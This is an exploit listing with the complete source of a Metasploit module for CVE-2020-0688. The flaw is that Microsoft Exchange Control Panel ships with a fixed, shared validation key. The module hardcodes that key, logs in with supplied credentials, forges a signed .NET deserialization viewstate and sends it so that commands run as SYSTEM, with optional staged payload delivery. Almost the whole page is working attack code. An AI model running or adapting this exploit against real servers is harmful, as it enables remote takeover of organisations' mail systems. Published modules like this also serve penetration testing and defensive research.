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Exchange Control Panel Viewstate Deserialization

Exchange Control Panel Viewstate Deserialization
Posted Mar 4, 2020
Authored by Spencer McIntyre | Site metasploit.com

This Metasploit module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\SYSTEM using .NET deserialization.

tags | exploit, web
advisories | CVE-2020-0688
MD5 | ed889ec6ff5a153c3263e25acbc08820

Exchange Control Panel Viewstate Deserialization

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'bindata'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

# include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'
VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"

def initialize(info = {})
super(update_info(info,
'Name' => 'Exchange Control Panel Viewstate Deserialization',
'Description' => %q{
This module exploits a .NET serialization vulnerability in the
Exchange Control Panel (ECP) web page. The vulnerability is due to
Microsoft Exchange Server not randomizing the keys on a
per-installation basis resulting in them using the same validationKey
and decryptionKey values. With knowledge of these, values an attacker
can craft a special viewstate to cause an OS command to be executed
by NT_AUTHORITY\SYSTEM using .NET deserialization.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-0688'],
['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],
[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2020-02-11',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
}
))

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
])

register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
])
end

def check
state = get_request_setup
viewstate = state[:viewstate]
return CheckCode::Unknown if viewstate.nil?

viewstate = Rex::Text.decode_base64(viewstate)
body = viewstate[0...-20]
signature = viewstate[-20..-1]

unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature
return CheckCode::Safe
end

# we've validated the signature matches based on the data we have and thus
# proven that we are capable of signing a viewstate ourselves
CheckCode::Vulnerable
end

def generate_viewstate(generator, session_id, cmd)
viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)
signature = generate_viewstate_signature(generator, session_id, viewstate)
Rex::Text.encode_base64(viewstate + signature)
end

def generate_viewstate_signature(generator, session_id, viewstate)
mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')
mac_key_bytes << Rex::Text.to_unicode(session_id)
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)
end

def exploit
state = get_request_setup

# the major limit is the max length of a GET request, the command will be
# XML escaped and then base64 encoded which both increase the size
if target.arch.first == ARCH_CMD
execute_command(payload.encoded, opts={state: state})
else
cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
end
end

def execute_command(cmd, opts)
state = opts[:state]
viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)
5.times do |iteration|
# this request *must* be a GET request, can't use POST to use a larger viewstate
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
'cookie' => state[:cookies].join(''),
'agent' => state[:user_agent],
'vars_get' => {
'__VIEWSTATE' => viewstate,
'__VIEWSTATEGENERATOR' => state[:viewstate_generator]
}
})
break
rescue Rex::ConnectionError, Errno::ECONNRESET => e
vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')
sleep iteration
end
end

def get_request_setup
# need to use a newer default user-agent than what Metasploit currently provides
# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),
'method' => 'POST',
'agent' => user_agent,
'vars_post' => {
'password' => datastore['PASSWORD'],
'flags' => '4',
'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),
'username' => datastore['USERNAME']
}
})
fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?
cookies = [res.get_cookies]

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
'cookie' => res.get_cookies,
'agent' => user_agent
})
fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200
cookies << res.get_cookies

viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]
if viewstate_generator.nil?
print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")
viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR
else
vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")
end

viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]
if viewstate.nil?
vprint_warning('Failed to find the __VIEWSTATE value')
end

session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
if session_id.nil?
fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')
end
vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")

{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}
end
end
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